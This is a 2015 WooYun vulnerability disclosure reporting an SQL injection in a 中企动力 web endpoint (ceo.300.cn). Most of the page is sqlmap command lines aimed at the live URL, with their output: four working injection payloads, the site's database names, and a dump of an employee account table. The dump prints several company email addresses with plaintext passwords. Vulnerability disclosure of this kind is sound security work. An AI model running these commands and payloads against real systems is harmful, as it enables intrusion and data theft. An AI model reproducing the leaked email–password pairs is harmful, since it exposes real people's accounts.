当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0116723

漏洞标题:中企动力SQL注入导致2w多名员工明文账号密码泄露

相关厂商:中企动力科技股份有限公司

漏洞作者: 杀器王子

提交时间:2015-05-28 16:34

修复时间:2015-07-12 22:54

公开时间:2015-07-12 22:54

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-28: 细节已通知厂商并且等待厂商处理中
2015-05-28: 厂商已经确认,细节仅向厂商公开
2015-06-07: 细节向核心白帽子及相关领域专家公开
2015-06-17: 细节向普通白帽子公开
2015-06-27: 细节向实习白帽子公开
2015-07-12: 细节向公众公开

简要描述:

杀器,在手

详细说明:

注入点
http://ceo.300.cn/index.php/ceo8/score_adds?type=1

➜  sqlmap git:(master) ✗ python sqlmap.py -u "http://ceo.300.cn/index.php/ceo8/score_adds?type=1" --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-09c6f7e}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:38:02
[15:38:02] [INFO] resuming back-end DBMS 'mysql'
[15:38:02] [INFO] testing connection to the target URL
[15:38:03] [INFO] heuristics detected web page charset 'ascii'
[15:38:03] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] y
[15:38:05] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[15:38:05] [WARNING] no WAF/IDS/IPS product has been identified
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: type (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=1 AND 7583=7583
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: type=1 AND (SELECT 3733 FROM(SELECT COUNT(*),CONCAT(0x7162767a71,(SELECT (ELT(3733=3733,1))),0x7171717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: type=1 AND (SELECT * FROM (SELECT(SLEEP(5)))YAuT)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: type=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162767a71,0x497143726b6656656475,0x7171717071),NULL,NULL,NULL,NULL--
---
[15:38:05] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.0.54, PHP 5.2.17
back-end DBMS: MySQL 5.0
[15:38:05] [INFO] fetching database names
[15:38:05] [WARNING] reflective value(s) found and filtering out
available databases [14]:
[*] #mysql50#lost+found
[*] 15th
[*] ce
[*] ce300
[*] ceo8
[*] information_schema
[*] mascot
[*] mysql
[*] quartz
[*] survey
[*] test
[*] yidaba_sicms
[*] zhuanjia
[*] zmobile

漏洞证明:

3000.png


➜  sqlmap git:(master) ✗ python sqlmap.py -u "http://ceo.300.cn/index.php/ceo8/score_adds?type=1" -D zmobile -T appuser --dump
_
___ ___| |_____ ___ ___ {1.0-dev-09c6f7e}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 15:49:48
[15:49:48] [INFO] resuming back-end DBMS 'mysql'
[15:49:48] [INFO] testing connection to the target URL
[15:49:51] [INFO] heuristics detected web page charset 'ascii'
[15:49:51] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS/IDS
do you want sqlmap to try to detect backend WAF/IPS/IDS? [y/N] y
[15:49:52] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[15:49:52] [WARNING] no WAF/IDS/IPS product has been identified
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: type (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: type=1 AND 7583=7583
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: type=1 AND (SELECT 3733 FROM(SELECT COUNT(*),CONCAT(0x7162767a71,(SELECT (ELT(3733=3733,1))),0x7171717071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: type=1 AND (SELECT * FROM (SELECT(SLEEP(5)))YAuT)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: type=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162767a71,0x497143726b6656656475,0x7171717071),NULL,NULL,NULL,NULL--
---
[15:49:52] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.0.54, PHP 5.2.17
back-end DBMS: MySQL 5.0
[15:49:52] [INFO] fetching columns for table 'appuser' in database 'zmobile'
[15:49:52] [INFO] fetching entries for table 'appuser' in database 'zmobile'
[15:49:52] [WARNING] large output detected. This might take a while
[15:49:57] [INFO] analyzing table dump for possible password hashes
Database: zmobile
Table: appuser
[29694 entries]
+-------+----------+-----------------------------------+----------+-------------------------+
| id | date | username | isdelete | userpass |
+-------+----------+-----------------------------------+----------+-------------------------+
[15:49:59] [WARNING] console output will be trimmed to last 256 rows due to large table size
| 64471 | 20150511 | jxliangbingbing@300.cn | 1 | 123456 |
| 64472 | 20150528 | jyxixiaoyang@300.cn | 0 | 123456 |
| 64500 | 20150528 | kmgaoping@300.cn | 0 | gp15887105703rb |

修复方案:

过滤

版权声明:转载请注明来源 杀器王子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-05-28 19:39

厂商回复:

正在处理

最新状态:

暂无